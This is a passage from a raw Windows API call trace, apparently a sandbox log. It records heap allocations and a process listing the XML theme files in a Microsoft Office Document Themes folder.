0xa256b8 [0072.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e0a8 [0072.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa79188 [0072.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.202] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0072.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e0c8 [0072.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa79290 [0072.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.202] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="")) returned 1 [0072.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e0e8 [0072.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa79398 [0072.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2c00) returned 0xa7ef00 [0072.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa7c338) returned 1 [0072.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0072.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e108 [0072.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa794a0 [0072.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="")) returned 1 [0072.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e128 [0072.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa795a8 [0072.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.204] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0072.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e148 [0072.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa797c8 [0072.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.205] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0072.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e168 [0072.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa798d0 [0072.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.205] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0072.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e188 [0072.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa799d8 [0072.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.206] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0072.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e1a8 [0072.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa79ae0 [0072.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.206] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0072.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e1c8 [0072.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa79be8 [0072.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.206] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0072.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e1e8 [0072.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa79cf0 [0072.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.207] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0072.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e208 [0072.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa79df8 [0072.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.207] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0072.207] GetLastError () returned 0x12 [0072.207] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0072.208] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, 